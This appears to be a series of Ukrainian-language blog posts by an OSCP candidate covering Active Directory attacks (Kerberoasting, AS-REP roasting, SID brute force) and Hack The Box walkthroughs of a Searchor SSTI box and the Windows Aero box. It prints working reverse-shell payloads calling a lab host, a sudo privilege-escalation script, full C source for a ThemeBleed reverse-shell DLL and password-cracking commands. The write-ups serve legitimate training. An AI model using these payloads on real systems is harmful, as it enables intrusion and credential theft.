impacket-GetUserSPNs domain.local/user:password -dc-ip 10.0.0.1 -request

І от на руках в нас буде список хешів, які тоді вже ламаємо John-ом чи hashcat-ом.

john hash --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt

І от ми вже маємо сервісний акаунт з паролем. Але можна піти далі. Популярним вектором у всяких СTF є привілей WriteProperty (servicePrincipalName) або ж GenericWrite. І дають нам ці права можливість записати SPN для користувача. Можеш спитати “І що з цього?”. А суть в тому, що керберосу абсолютно всеодно чи існує сервіс, чи існує хост, він просто дивиться чи є SPN. Бачиш куди я веду? Ми пишемо користувачу SPN, а потім просимо керберос дати нам тікет до сервісу цього користувача. І він дає нам тікет, бо знаходить SPN. А далі лірика - ламаємо і дістаємо пароль. І для цього теж є тулза) targetedKerberoast. Ось приклад використання:

python3 targetedKerberoast.py -d domain.local -u user1 -p complexpassword -v 

Таким чином ми можемо отримати пароль користувача просто використовуючи права на запис SPN. Дякую за читання, зустрінемося на просторах мережі)

Починаючи з 2022 Offsec додали AD як обов’язкову секцію в OSCP, та і в реальному світі майже кожна велика компанія використовує AD. Тому я змушений занурити свою голову в це відро від Microsoft. Без лишньої абстракції - Active directory складається з централізованої бази даних на домен контролері і компах, які весь час просять базу даних скинути їм нові апдейти. І скидає вона їм все, що можна налаштувати. Заставки, файли, політики паролів і заборони на програми. Домен контролер - контролює все що відбувається на компі, на всіх компах які в цьому домені, що і робить акаунт Domain Administrator - універсальним ключем і високопріоритетною ціллю для хакера. І більшість функціоналу, як зрозуміло, вимагає від нас логіну і паролю до акаунту в домені. Банальний приклад - використовуючи креди, ти шлеш Ldap запит, щоб отримати список всіх користувачів. Але є речі які працюють і анонімно. Одне з поширених - анонімні SMB шари, доступ до яких дозволений всім. На умовному HTB там, зазвичай, кладуть якісь файли з паролями чи щось в цьому дусі. В реальному світі, там можна знайти документи з чутливими данними. Деякі конфіругації також дозволяють анонімні Ldap запити. Не всі звісно, але все ж. І це дозволяє нам з акаунтом Gues виконати Sid Lookup. В системах Windows кожен користувач має SID - унікальний код для ідентифікації. Типово він виглядає отак :S-1-5-21-3623811015-3361044348-30300820-1013, він скалається з мета інфи (S-1-5), коду домену (21-3623811015-3361044348-30300820) і ідентифікатора користувача (1013). Якщо все ж ми маємо доступ до анонімних запитів - ми запитуємо Domain SID, а далі підставляємо числа від 1 до 1000 і просимо домен контролер дати нам інфу, що за користувач за цим SID. Існує автоматизована тулза в Impacket пакеті, яка робить цей брутфорс:

impacket-lookupsid -target-ip 10.10.10.149  guest:@10.10.10.149

У відповідь отримуємо цілий словник користувачів які є в домені. Завжди можна використовувати словники з інету, але погодься, коли словник точно підійде - приємніше. І от, озброєні словником користувачів можемо спробувати забрутфорсити їх паролі(рідко працює), а ще AS-REP Roasting. Тут треба почати трохи здалеку. В версіях віндовс після 2010 почали використовувати Kerberos - спеціальний протокол автентифікації, який прийшов на заміну старим технлогіям. Багато в нього є приколів. І основна концепція - тікети - спеціальні структури даних зашифровані і підписані. Ticket Granting Ticket - спеціальний вид квитка, який видається на вході в домен, і має частину зашифровану хешем krbtgt і Session key зашифрований хешем паролю користувача, щоб тільки користувач міг ним користуватися і керберос на домен контролері (KDC). Далі користувач шле цей тікет керберосу щоразу коли хоче отримати доступ до якогось сервісу, наприклад веб чи sql. Існує тулза kerbrute яка шле запити на TGT і намагається за відповідями зрозуміти чи існує корисувач в домені. Ось синтакс:

kerbrute userenum --dc <domain controller>  -d <domain name>  <usernames file>

Але поки зосередимося на TGT. Щоб надіслати запит на нього - треба надіслати креди. Але існує спеціальний параметр в користувача DONT_REQUIRE_PREAUTH. Що дозволяє запитувати TGT знаючи тільки ім’я. Ти можеш запитати, а нах*я взагалі такий функціонал? Ну Microsoft вважає що раз тікет зашифрований хешем krbtgt і хешем користувача, то можна давати - всеодно не розшифрують. Мем в тому, що розшифрують) І от діставши словник - ідемо по всім користувачам і перевіряємо, раптом в когось вимкнений Pre Auth і він люб’язно віддасть нам тікет. Для цього Impacket теж має тулзу impacket-GetNPUsers. Ось синтакс:

impacket-GetNPUsers domain.loc/ -dc-ip 10.211.12.10 -usersfile users.txt -format hashcat -outputfile hashes.txt -no-pass

Це видасть нам всі тікети, які були доступні. Але ж ми не можемо їх використати. Блінб, сраний майкрософт обійшов мене((9(. Але раз ми знаємо чим і як він зашифрований, чому не спробувати розшифрувати? Беремо rockyou.txt (для HTB достатньо його). Хешуємо паролі звідти один за одним і тоді пробуємо дешифрувати Session key цим хешем, аж поки не отримаємо щось хоч трохи зрозуміле. Автоматизовано цим займається John The Ripper та Hashcat:

john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

або

 hashcat -m 18200 hashes.txt -w /usr/share/wordlists/rockyou.txt

І от якщо щось підійде - ми отримаємо пароль користувача, кайф же)? Також існує N-на кількість багів у всіляких службах, типу LLMNR, PrintSpooler і MS-EFSRPC, основна суть яких зводиться до того щоб змусити віндовс машину залогінитися на нашу SMB шару зі своїми кредами, але це вже наступного разу. За підсумками сьогодні - ми пройшлися по найбільш популярним і простим атакам на AD якщо ми починаємо з голою жопою без будь яких кредів. А зараз - пора спати.

Він займається тим, що створює посилання для пошуку на різних платформах і вертає нам посилання. Внизу сайту вказаний фреймворк searchor 2.4.0. По зову серця ідемо шукати публічні вразливості. І знаходимо - SSTI(коли сервер не фільтрує ввід і приймає введення як конструкції мови програмування, що дозволяє нам виконувати код). Тут я витратив трохи часу на те щоб знайти правильний пейлоад, і вставити в правильне місце. Сам запит приймає платформу і пошукові слова. І от в останні вставляємо наступний пейлоад:

',import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.18",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")#

І відповідно netcat-ом ловимо шел. Але шел не простий - Золотий сирий, і половина команд нам буде казати, що хоче норм шел, а не щось написане на коліні. Один з простих способів апгрейднути шел - python3 -c 'import pty;pty.spawn("/bin/bash")' - і система вважає що ми вже дядько в нормальному шелі. Ось юзер доступ на руках і ми ідемо далі - ескалація привілей, з якою я добряче задовбався. Але ми зробимо вигляд, що все завжди виходить з першого разу. Так як експлуатували ми веб додаток, то і заходимо в систему в його папці(/var/www/app/), подивившись що і де, в цій же директорії знаходимо .git папку, яка свідчить, що цей файл десь зберігається в репозиторії(натяк). А в папці - config файл, насправді, в норм компаніях, на проді таке не роблять, але самі знаєте)

І тут же, в файлі - url всередині якої логін і пароль - до нашого нинішнього користувача. А сама лінка - gitea.searcher.htb, що наштовхує на думку - перевірити чи не маємо ми теж доступ. В той же /etc/hosts додаємо новий запит і в браузері бачимо сторінку gitea -локальний мененджер гіт репозиторіїв.

Скориставшись кредами, які щойно отримали - заходимо. А всередині знаходимо репозиторій з тією ж апкою, що тільки що ламали, тому не так цікаво. Але, в списку користувачів є ще й Administrator - може в нього є щось цікаве? Так чи інакше вертаємося в термінал і дивимося, що може наш юзер - sudo -l - виводить нам, що ми можемо запускати якийсь кастомний скріпт від імені root.

Запускати, але не читати. Тому методом научного тику запускаємо. І скрипт дає нам список своїх можливостей

1. Docker-ps(Скоріше за все docker ps під капотом)
2. Docker-inspect(Скоріше за все docker inspect під капотом)
3. FullCheckup(Скоріше за все щось кастомне під капотом)

Підемо по порядку - docker-ps показує нам список контейнерів які є - gitea і mysql(скоріше за все для неї ж).

docker-inspect - вже цікавіше - вона описує контейнер і все що йому передавалося. А передатися можуть і паролі, і логіни, і всіляке інше. Вводимо команду, але вона вимагає від нас синтаксу(

Погугливши, знаходимо як це все писати, тому кінцева команда виглядає так: sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect -f '' <тег контейнера> І дає це нам здорове таке полотно тексту зі всіма конфігами контейнера:

І серед цього місива знаходимо креди - пароль до mysql(точніше, юзера і рута). Ми б могли б сходити в mysql і глянути що там, але для початку перевіримо password reuse. І бінго, ми можемо зайти в gitea під адміном з цим паролем. В його репозиторіях ми знаходимо сорс код до system-checkup.py. І тепер буде легше його проексплуатувати. Як бачимо, команда full-checkup - викликає за відносним шляхом файл ./full-checkup.sh . Але як, якщо його нема? А ніяк. При спробі запуску ми отримуємо “Something went wrong”, бо програма не може знайти скрипт для запуску(нагадую, від імені root). Так давайте допоможемо бідній програмі знайти full-checkup.sh . Відкриваємо будь яку дерикторію, в яку можемо писати і створюємо файл full-checkup.sh з наступним вмістом(звичайни реверс шел):

#!/bin/bash
sh -i >& /dev/tcp/10.10.14.18/9002 0>&1

Даємо йому права на виконання chmod +x full-checkup.sh і запускаємо sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-chekup. І врешті решт - на руках рут

Мораль: класна тачка, але я добряче набігався з ескалацією, і я б поставив машину все ж на medium. Урок на сьогодні - читаємо сорс код, не поремо гарячку, робимо діла.

Планую я здавати OSCP в наступному році, і як платформу для практики використовую Hack the Box. Сьогодні на столі для препарації машини рівня Medium, Віндова Aero. Класичний nmap показує нам 1 порт - 80. Відкривши в браузері - отримуємо:

І як істинний пентестер ідемо в upload). І приймає він тільки 2 файли .themepack і .theme . В класичному пентесті, я б спробував обійти ці обмеження, але тут ми вийдемо з того що маємо, загугливши експлуатацію цих файлів - знаходимо віндовий(хто б сумнівався) експлойт - вінда довіряє .theme файлам як рідній мамі і запускає ліби(dll) які вони підтягують. Чуєш, до чого це веде)??? Знаходимо PoC і клонуємо з гіта: https://github.com/Durge5/ThemeBleedPy.git Але машина все ж медіум рівня, нам не дозволять просто взяти чужий код. Взагалі градація наступна: easy - копіюєш пейлоад з інета, medium -копіюєш пейлоад з інета і модифікуєш, hard - пишеш свій пейлоад, insane - вигадуєш нові вразливості(write up hack the box по insane машині - близько 100 сторінок). Тож сам експлойт тут працює за принципом завантаження .them, який підтягує stage_1 і stage_2, а вони вже наш власний stage_3. Головна умова - stage_3 - dll файл з експортованою функцією VerifyThemeVersion. Ідемо на https://www.revshells.com/, генеруємо пейлоад на c, міняємо функції і додаємо до експортованої

extern "C" __declspec(dllexport) int VerifyThemeVersion(void)

Це дасть компілятору зрозуміти, що цю треба експортувати(зробити доступною для виклику ззовні. Ось весь код:

#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")

WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in hax; 
char ip_addr[16] = "10.10.14.18"; 
char port[6] = "9001";            

STARTUPINFO ini_processo;

PROCESS_INFORMATION processo_info;

int rev_shell()
{
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);


    struct hostent *host; 
    host = gethostbyname(ip_addr);
    strcpy_s(ip_addr, 16, inet_ntoa(*((struct in_addr *)host->h_addr)));

    hax.sin_family = AF_INET;
    hax.sin_port = htons(atoi(port));
    hax.sin_addr.s_addr = inet_addr(ip_addr);

    WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

    memset(&ini_processo, 0, sizeof(ini_processo));
    ini_processo.cb = sizeof(ini_processo);
    ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; 
    ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

    TCHAR cmd[255] = TEXT("cmd.exe");

    CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);

    return 0;
}

extern "C" __declspec(dllexport) int VerifyThemeVersion(void)
{
    rev_shell();
    return 0;
}

Тоді треба скомпілювати, для Visual Studio компілятора

cl.exe /MD /LD file.cpp

А для любителів свободи - mingw

mingw32-gcc main.c -shared -o stage_3 -lws2_32

Отримуємо dll, перейменовуємо на stage_3 і запускаємо python експлойт(він хостить 445 порт, тому з вінди ще треба поїбатися з зупинкою всього що слухає 445 до нас) Завантажуємо в форму наш .theme файл(в ньому треба прописати свій айпішник) і слухаєио цільовий порт на нашій машині неткатом, щоб зловити реверс шел. А далі - лірика, файли один за одним зтягуються і запускають нашу власну dll.

І шел на руках:

Як ми бачимо, в системі ми не адмін і не system( Тому далі ескалація привілеїв. На вінді вона зазвичай дуже дивна і непряма. Пролиставши директорії в нашій домашній папці, знаходимо файл CVE-2023-28252_Summary.pdf . Виглядає як дуже прозорий натяк) Сам експлойт досить адвансед, використовує вразливість драйвера. Гуглимо і знаходимо дуже(дуже) детальний розбір цієх вразливості https://github.com/fortra/CVE-2023-28252 . Це експлойт який запускає блокнот від імені NT AUTHORITY\SYSTEM, що теж круто, але не прям вау) Скачуємо код, відкриваємо в Visual studio і міняємо notepad.exe на наш пейлоад, персонально я взяв з того ж самого revshells.com powershell base64. Компілимо кінцевий .exe і завантажуємо його на машину. Для тих хто все ще любить запах свободи, на гітхабі валяються прекомпілені exe-шники, щоб не морочити голову з Visual studio. Для того щоб файл був на машині, я запустив пайтон сервак(python -m http.server 80), а на жертві запустив curl http://myip/file.exe -o file.exe. А далі просто запуск і ловля нового шела netcat-ом.

Мораль: Гарна віндова тачка, яка поки не змушує, а тільки легенько натякає - чужими експлойтами ситий не будеш. P.S. Вінда як завжди решето)